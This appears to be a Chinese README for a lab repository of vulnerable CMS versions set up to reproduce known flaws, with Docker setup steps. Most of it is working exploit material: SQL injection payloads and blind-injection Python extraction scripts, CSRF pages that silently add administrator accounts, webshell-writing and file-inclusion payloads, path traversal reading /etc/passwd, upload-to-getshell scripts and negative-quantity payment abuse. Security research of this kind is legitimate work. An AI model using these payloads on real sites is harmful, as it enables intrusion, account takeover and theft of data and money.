该项目是为了方便在对CMS漏洞进行复现的时候花费大量的时间在网上搜索漏洞源码,从而有了此项目。此项目仅为安全研究使用并且所有CMS存在大量漏洞,请勿以此建站。
经过测试,本项目的源码均可使用docker安装运行
# 拉取镜像
docker pull medicean/vulapps:base_lamp
# 利用镜像启动容器
docker run -d -p 8080:80 medicean/vulapps:base_lamp
镜像信息
系统版本:Ubuntu 14.04.5
Apache版本:2.4.7
PHP版本:5.5.9
MySQL版本:5.5.61
Web路径:/var/www/html
数据库账号密码:root/root
部分CMS需要php-curl扩展,进入到容器里执行
apt-get update
apt install php5-curl
然后重启apache或者docker即可。
版本信息:1.0
在【联系】下方的留言处插入payload
后台管理员查看留言也会触发
随意点开一篇文章
在cid处存在漏洞
使用报错注入获取数据库名
and(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))
输入1'即可引起报错
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) #
版本信息:1.2.1
在前台留言处插入payload
管理员查看留言即可触发
火狐浏览器
构造poc,将以下内容复制到html文件
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.81.116:10003/index.php?r=admin/admin/index" method="POST">
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="username" value="demo" />
<input type="hidden" name="rpassword" value="123456" />
<input type="hidden" name="spassword" value="123456" />
<input type="hidden" name="realname" value="demo" />
<input type="hidden" name="iflock" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
将该文件诱使管理员打开访问
管理员在登录的情况下访问了该文件即可成功添加一个管理员用户,攻击者使用添加的管理员可成功登录后台
版本信息:6.0.4
get:
index.php?m=home&a=assign_resume_tpl
post:
variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
会将内容写入到日志文件里。包含日志文件即可生成一个webshell(目录需要有写入的权限,如果没有写入的权限需要修改上方php代码的shell生成的路径)
get:
index.php?m=home&a=assign_resume_tpl
post:
variable=1&tpl=data/Runtime/Logs/Home/22_10_12.log #日志文件为日期
使用蚁剑连接webshell
火狐浏览器
构造poc,将以下内容复制到html文件
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.81.116:10004/index.php?m=admin&c=admin&a=add" method="POST">
<input type="hidden" name="username" value="demo" />
<input type="hidden" name="email" value="demo@qq.com" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="repassword" value="123456" />
<input type="hidden" name="role_id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
将该文件诱使管理员打开访问
管理员在登录的情况下访问了该文件即可成功添加一个管理员用户,攻击者使用添加的管理员可成功登录后台
版本信息:5.5.1
注册普通用户,在资料修改处随意插入XSS的payload
管理员查看会员信息即可触发
在产品展示里选择产品购买,付款方式选择站内扣款
提交订单抓包,把qty(订单数量)的值修改为负数
即可成功下单并反向充值
版本信息:6.0.0
读取数据库配置文件
/include/thumb.php?dir=.....///http/.....///config/config_db.php
读取其它系统文件
/include/thumb.php?dir=.....///http/.....///.....///.....///.....///.....////etc/passwd
版本信息:2.2.3
包含默认文件
?a=display&templateFile=README.md
?a=display&templateFile=../../../../..//etc/passwd
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('data/test.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='))</php>
版本信息:2.1
增加cookie admin_name=admin 然后访问后台即可越权进入后台
/admin/cms_welcome.php
版本信息:4.0.18
注册账号登录之后可以看的自己的id 遍历该id后可以知道有没有被注册
在注册后系统会赠送10积分,随意注册一个账号,然后抓取注册的请求包,将请求包的内容修改为user_id=2,2为自己的id 然后重复发送请求,可以看的自己的账号的影币变多了
版本信息:4.4.14
注册账户,登录后进入个人中心编辑资料, 然后抓包 生成恶意文件html文件 生成后将改文件发给受害者(或者将该文件放到攻击者的服务器里,然后把链接发给受害者),受害者在登录网站的情况下在同一个浏览器打开该文件,受害者的个人信息就被修改了
版本信息:7.0
读取/etc/passwd,为了确保能跨越到路径读取到目标文件,可以多加几个../../../
/do/job.php?job=download&url=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
注册一个会员,然后构造一个上传表单
<form action="http://192.168.81.116:30002/member/comment.php?job=edit" method="POST" enctype="multipart/form-data">
<input type="file" name="cidDB" value="test" style="350px;"/><br/>
<input type="submit" value="确定"/> </form>
随意上传一个文件然后抓包,将URL里的edit修改为del,注入点在文件名处 获取当前数据库名称
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
版本信息:1.0.9
漏洞路径
/index.php/api/Uploadify/preview
POST内容:<?php phpinfo(); 的base64编码
data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
版本信息:1.6
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
admin%df' or 1=1
注册的时候抓包,在邮箱处插入payload 在个人中心处即可看到触发了弹窗 管理员登录后台查看会员列表,亦可看到触发弹窗
版本信息:6.0
search/keyword/index.php?allsame=3"><script>alert(1)</script>
版本信息:1.0.131129
username[0]=exp&username[1]=)) union select 1,2,'',4,5,6,7,8,9,10,1#&password=&fe3hb
版本信息:6.1.0
import requests
from requests import exceptions
url = "http://192.168.81.195:50002/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html"
header = {'X-Requested-With': 'XMLHttpRequest'}
# proxies={'http':'127.0.0.1:8080'}
flag = ''
for i in range(1, 50):
for j in range(32, 128):
try:
data = {
'cid': 0,
'pid[0]': "=(select if(ord(substr((select database()),{},1))={},sleep(10),0))AND 3 IN ".format(i, j),
'pid[1]': 3
}
# print data['pid[0]']
r = requests.post(url, data=data, headers=header, timeout=5)
except exceptions.Timeout:
flag += chr(j)
print(flag)
版本信息:7.6.3.2
首先注册一个账户,可以看到账户是0元 然后在精选产品里随意选择一个商品购买 然后抓包 将thisnum的值修改为负数,可以看到金额变成了负数 进入到支付页面选择余额支付 可以看到购买成功 回到个人中心了也可以看到自己的余额变多了
版本信息:1.41
import requests
url = "http://192.168.81.195:50006/?m=search&keywords=b&mid=1&remen=1 or (if(ascii(substr(database(),{},1))={},1,0))--+"
sjk = ""
for i in range(1, 7):
for j in range(80, 180):
cl = url.format(i, hex(j))
res = requests.get(cl)
if len(res.text) > 6000:
sjk += chr(j)
print(sjk)
版本信息:4.0
后台登录处,在用户名后加单引号发现报错
输入一次正确的验证码然后抓包,可以发现多次改变密码都是提示密码错误 对密码进行爆破
版本信息:5.3
import requests
database = ""
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.42"
}
# proxier = {
# "http": "127.0.0.1:8080"
# }
for i in range(1, 6):
for a in range(47, 127):
payload = "http://192.168.81.195:11000/api.php?c=project&f=index&token=1234&id=news&sort=(1 and if(ascii(substr(database(),{},1))={},sleep(3),1))".format(
i, a)
re = requests.get(url=payload, headers=header, timeout=25)
# print(re.elapsed.total_seconds())
if re.elapsed.total_seconds() > 10:
database += chr(a)
print(database)
版本信息:2.2
url
index.php?s=/admin/Upgradeonline/downloadPatchZip
post data
download_url=http://192.168.81.116:1234/1.php&patch_release=1
需要在请求头增加
X-Requested-With: XMLHttpRequest
1.php文件内容:
<?php
phpinfo();
/*
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
*/
?>
版本信息:20181009
利用网站自带的错误日志来进行包含
index.php?s=news&c=search&keyword=%E5%9B%BA%E5%AE%9A&order=2%3C?=/*&sss=*/eval($_GET[1]);
这样就会生成一个错误日志cache/error/log-2022-11-21.php
命名规则就是log-年-月-日.php
包含该文件
index.php?s=api&c=api&m=template&name=../../../../cache/error/log-2022-11-21.php&1=phpinfo();
会以注释的方式包含出来
版本信息:1.5.3
首先注册一个普通用户,然后抓包构造恶意代码
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.81.195:12343/user/user/info.html" method="POST">
<input type="hidden" name="email" value="test@qq.com" />
<input type="hidden" name="introduce" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
然后将引导受害者访问恶意文件,受害者在火狐浏览器登录了账号的情况下访问了该恶意文件,个人信息即可被修改
受害者原信息
访问恶意文件后
目前只有一个管理员
构造恶意文件诱导管理员访问
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.81.195:12343/admin/member/add.html" method="POST">
<input type="hidden" name="username" value="test2" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="repassword" value="123456" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
成功添加管理员
利用添加的管理员登录
版本信息:8.0
import requests
import string
import time
s = requests.session()
def check(baseurl, payload):
url = baseurl + "/index.php/Channel/voteAdd"
cookies = {
"PHPSESSID": "pn9iofrfklen68u4205veml8s0",
"youdianAdminLangSet": "cn",
"youdianfu[0]": "exp",
"youdianfu[1]": payload
}
starttime = time.time()
s.get(url, cookies=cookies)
endtime = time.time()
if endtime - starttime >= 3:
return True
return False
def getLength(baseurl):
for i in range(30):
payload = "=(select 1 from(select if(length(database())={0},sleep(3),0))a)".format(str(i))
if check(baseurl, payload):
print("[+] database len: " + str(i))
return i
def getDatabase(baseurl, length):
stringset = string.digits + string.ascii_letters
database = ""
for i in range(length):
for j in stringset:
payload = "=(select 1 from(select if(ascii(substr(database(), {0}, 1))={1},sleep(3),0))a)".format(
str(i + 1), str(ord(j)))
if check(baseurl, payload):
database += str(j)
print("[+] " + database)
if __name__ == '__main__':
url = 'http://192.168.81.195:9999/'
length = getLength(url)
getDatabase(url, length)
版本信息:5.5
在与下方python文件同级目录新建一个php文件
# !/usr/bin/python
# -*- coding: UTF-8 -*-
# Author:Bypass
# Date:2018.03.01
import requests
import sys
proxier = {
"http": "127.0.0.1:8080"
}
def CLPHP_upload(url):
header = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
'X-Requested-With': 'XMLHttpRequest', }
geturl = url + "/user/upFiles/upload"
files = {'file': ('1.php', open('1.php', 'rb'), 'image/jpeg')}
res = requests.post(geturl, files=files, proxies=proxier, headers=header)
print(res.text)
if __name__ == "__main__":
if len(sys.argv) == 2:
url = sys.argv[1]
CLPHP_upload(url)
sys.exit(0)
else:
print("usage: %s www.xxx.com" % sys.argv[0])
sys.exit(-1)
运行脚本即可将文件上传到服务器getshell
版本信息:1.0
构造恶意文件
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.81.116:12358/admin.php?/basic/index.html" method="POST">
<input type="hidden" name="cmd" value="add_admin" />
<input type="hidden" name="adm_username" value="test2" />
<input type="hidden" name="adm_password" value="123456" />
<input type="hidden" name="re_password" value="123456" />
<script> document.forms[0].submit(); </script>
</form>
</body>
</html>
管理员在浏览器登录了网站的情况下使用该浏览器访问了该恶意文件,即可成功添加管理员
虽然添加的用户默认没有权限,但是还可以构造恶意文件使管理员给新增的用户添加权限。
版本信息:2.1
登录后台后在添加频道里
上传图片马
在bp里可以找到图片的地址
然后在频道模型处修改为图片马的地址,注意需要添加../../
发布频道,在网站首页可以看到频道
打开频道即可看到成功将图片马包含了
版本信息:1.4.8
登录后台后进入到【文件管理】
然后直接上传webshell文件即可
版本信息:3.0.1
登录后台后
在文件管理处可以读取任意文件
比如编辑rss文件,然后插入一句话木马,这插入的是phpinfo
然后访问rss.php
版本信息:3.0
登录后在联系我们处上传文件
然后抓包,将该请求包的URL修改
改为
/console/file/manage.php?type=action&action=addfile&path=../.././
上传后的文件
版本信息:1.9.5
登录进后台后,在扩展管理的插件列表,下载插件然后抓包,
然后在服务器新建一个php文件并将其压缩,放到web目录下是其可以被下载
需要抓取实时的请求包,然后将该请求包的下载url修改为自己服务器的压缩包的url
需要一直修改大概几十个包,直到看到以下请求包
继续修改url,也是需要一直修改,大概几十次,最后webshell路径为
/A/exts/1.php
版本信息:1.3.2
/duomiphp/ajax.php?action=addfav&id=1&uid=1 and extractvalue(1,concat_ws(0x3A,0x3A,database()))
/search.php?searchword={if:phpinfo()}phpinfo(){end
版本信息:20141229
登录后台获取cookie
构造上传表单
<html>
<body>
<form action="http://192.168.81.195:10100/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
上传php文件抓包,将管理员的cookie替换到请求包里即可成功上传文件
版本信息:无
再Employee List新建
填写好信息之后上传php文件
上传后的文件保存在images目录下,文件名为原文件名
版本信息:6.0.0
登录后找到token值
然后替换token值后请求,
admin/comment.php?action=delbyip&token=4eeb0789d73618c2e56c88685e58a8cf&ip=127.0.0.1%27%20and%20(extractvalue(1,concat(0x7e,(select%20database()),0x7e)))%23
版本信息:1.0
随便输入账号密码抓包
把用户名改为
admin' #
成功登录到后台
访问后台页面
/admin/axadmin.php
然后将cookie改为admin=yes
成功越权进入后台
版本信息:1.4
登录进后台后进入到【信息管理】的【博客管理】,选中博客并且删除然后抓包
构造时间盲注,成功执行了sleep
获取数据库名长度
import requests
database = ""
header = {
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "theme=default; frontLang=zh-cn; __bid_n=184ada2f395ab4dd774207; ECS[visit_times]=2; ishistory=1; gnolt4_admin_username=admin; PHPSESSID=ksj15tsgisn8b7fhq40uvkif11",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.42"
}
# proxier = {
# "http": "127.0.0.1:8080"
# }
for i in range(1, 7):
for a in range(47, 127):
payload = "http://192.168.81.116:12342/hXd0MR_AhF/Ant_Inc.php?action=Clear&sort=info&lgid=1"
data = "DID[]=15 and if(ascii(substr(database(),{},1))={},sleep(3),1)".format(i, a)
re = requests.post(url=payload, data=data, headers=header, timeout=10)
# print(re.elapsed.total_seconds())
if re.elapsed.total_seconds() > 6:
database += chr(a)
print(database)
版本信息:1.3
登录进后台,进入应用商店主页
选择应用下载
点击下载然后抓包
以下请求包放过
然后抓取到以下请求包
可以将classhash修改,随意修改,并将url修改为自己的地址,1.zip里含有一个1.php
将包发送过去后在浏览器看到格式错误,不用理会,实际上文件已经下载到服务器了
webshell路径为
/class/[classhash值]/压缩包内php文件
版本信息:2.0
登录进后台,在【管理内容】的【内容列表】
创建一个栏目,创建完栏目之后再重新在内容列表增加内容
上传文件
上传一个图片然后抓包
然后将请求包的filetype修改为php,data修改为经过base64编码后的webshell
成功上传php文件
版本信息:8.2
# /user/del.php
import requests
database = ""
header = {
# "X-Requested-With": "XMLHttpRequest",
# "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
# "Cookie": "theme=default; frontLang=zh-cn; __bid_n=184ada2f395ab4dd774207; ECS[visit_times]=2; ishistory=1; gnolt4_admin_username=admin; PHPSESSID=ksj15tsgisn8b7fhq40uvkif11",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.42"
}
proxier = {
"http": "127.0.0.1:8080"
}
for i in range(1, 10):
for j in range(47, 127):
payload = "http://192.168.81.195:12343/user/del.php"
data = {
"id": "1",
"tablename": "zzcms_answer union select 1,2 and if(ascii(substr(database(),{},1))={},sleep(5),1)#".format(
i, j)
}
re = requests.post(url=payload, data=data, headers=header, proxies=proxier, timeout=8)
# print(re.elapsed.total_seconds())
if re.elapsed.total_seconds() > 3:
database += chr(j)
print(database)
版本信息:3.1.0
登录进后台后编辑模板文件
比如遍历question下的index.php
然后访问
版本信息:0.5.2.1
登录后台后,选择【upload】,然后直接上传php文件